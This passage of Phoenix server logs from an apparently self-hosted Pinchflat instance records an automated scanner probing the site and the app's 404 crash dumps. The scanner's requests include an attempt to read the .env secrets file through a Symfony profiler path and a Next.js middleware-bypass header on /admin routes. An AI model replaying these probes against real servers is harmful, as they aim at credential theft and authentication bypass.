0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/open", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAghbSSKVnx_kACMnB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21625.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37180}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=.env", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_profiler/open (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21625.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_profiler/open", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37180}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "file=.env", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21627.0>, params: %{"file" => ".env"}, path_info: ["_profiler", "open"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"file" => ".env"}, query_string: "file=.env", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/_profiler/open", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-c (truncated) 15:40:37.216 [error] #PID<0.21628.0> running PinchflatWeb.Endpoint (connection #PID<0.21626.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21626.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37194}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21628.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAghbTwDImEYcABcRi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21626.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37194}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21626.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37194}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21628.0>, params: %{}, path_info: ["admin"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb (truncated) 15:40:37.328 [info] GET /app_dev.php/_profiler 15:40:37.328 [info] GET /admin/settings 15:40:37.328 [debug] QUERY OK source="settings" db=0.2ms idle=224.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.328 [debug] QUERY OK source="settings" db=0.1ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.328 [debug] QUERY OK source="settings" db=0.1ms idle=112.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.328 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.328 [debug] QUERY OK source="settings" db=0.1ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.329 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.329 [error] #PID<0.21632.0> running PinchflatWeb.Endpoint (connection #PID<0.21631.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /admin/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37212}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21632.0>, params: %{}, path_info: ["admin", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "middleware:middleware:middleware:middleware:middleware"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/admin/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgh2PjNccdywABcSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37212}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21631.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37212}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*, text/html,application/json,*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "middleware:middleware:middleware:middleware:middleware", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21632.0>, params: %{}, path_info: ["admin", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*, text/html,application/json,*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, (truncated) 15:40:37.329 [error] #PID<0.21630.0> running PinchflatWeb.Endpoint (connection #PID<0.21629.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app_dev.php/_profiler ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21629.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37198}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21630.0>, params: %{}, path_info: ["app_dev.php", "_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgh2LBhuK_nwACMnh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21629.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37198}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21629.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37198}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21630.0>, params: %{}, path_info: ["app_dev.php", "_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:40:37.441 [info] GET /settings 15:40:37.441 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 15:40:37.441 [info] GET /app_dev.php 15:40:37.441 [debug] QUERY OK source="settings" db=0.2ms idle=225.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.441 [debug] QUERY OK source="settings" db=0.1ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.441 [debug] QUERY OK source="settings" db=0.1ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.441 [debug] QUERY OK source="settings" db=0.0ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.441 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:37.441 [debug] QUERY OK source="settings" db=0.0ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.442 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:37.442 [info] Sent 200 in 1ms 15:40:37.441 [error] #PID<0.21636.0> running PinchflatWeb.Endpoint (connection #PID<0.21635.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app_dev.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21635.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37240}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: 